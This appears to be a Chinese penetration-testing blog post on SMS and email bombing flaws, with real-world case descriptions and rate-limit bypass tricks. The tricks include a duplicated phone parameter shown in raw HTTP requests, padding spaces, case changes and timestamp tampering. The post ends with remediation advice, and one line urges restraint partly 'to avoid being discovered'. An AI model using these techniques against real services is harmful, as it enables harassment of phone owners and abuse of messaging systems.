本文最后更新于464 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、短信轰炸漏洞简介
网站在对信息发送的次数、时间没有做限制,或者只做了有限限制,导致可以无限发送信息。
注意:发送短信时·不要发送太多条短信,以免被发现
二、漏洞点
一般出现在可以发送短信、邮件的地方,比如账号注册、忘记密码、绑定手机邮箱等需要手机验证码的功能上。
三、实际案例
A.QQ邮箱任意邮件发送

在发送邮箱信息时会产生很多请求,我们需要找到有关邮箱发送信息的关键词,如send

抓到该请求包之后发送到Repeater重放,可以看到短短几秒钟就发了多封邮件,这就达到了轰炸的目的

B.某网站的任意短信发送
1.访问网站,发现可以向手机发送信息
==注意:测试网站时发几个就行,不要发很多条短信==

2.输入手机号并获取验证码,可以看到有时间限制

3.抓取发送短信的请求包

4.重放请求包,成功发送大量短信

四、绕过技巧
一般情况下网站开发者会对短信发送的次数做一定的限制,比如:每发送一次短信需要等待60秒后才能发送等的限制。遇到限制则需要想办法看能不能进行绕过。绕过的方法并不是万能通用的,只是一个尝试手段。
A.参数后加空格
比如,下方箭头处加了多个空格,也能正常发送邮件

B.参数叠加
比如原请求数据包:
POST /Pages/registration_sms/send HTTP/1.1
Host: localhost
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, 1ike Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie:locale=zh-CN
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length:0
phone=13888888888
参数叠加后变为:
POST /Pages/registration_sms/send HTTP/1.1
Host: localhost
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, 1ike Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie:locale=zh-CN
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length:0
phone=13888888888&phone=13333333333
那么就有可能绕过限制造成对13333333333的手机号码进行轰炸
C.参数大小写
将qq改为QQ

D.修改时间参数
有些网站会以验证码发送的时间生成Unix时间戳,当下次再发送验证码的时候会以上一次的时间与当前时间做对比,修改时间戳也可能会绕过限制
五、修复方法
合理配置后台短信服务器的功能,对于同一手机号码,发送次数不超过3-5次,并且可对发送的时间间隔做限制。页面前台代码编写时,加入禁止针对同一手机号进行的次数大于N次的发送,或者在页面中加入验证码功能,并且限制发送的时间间隔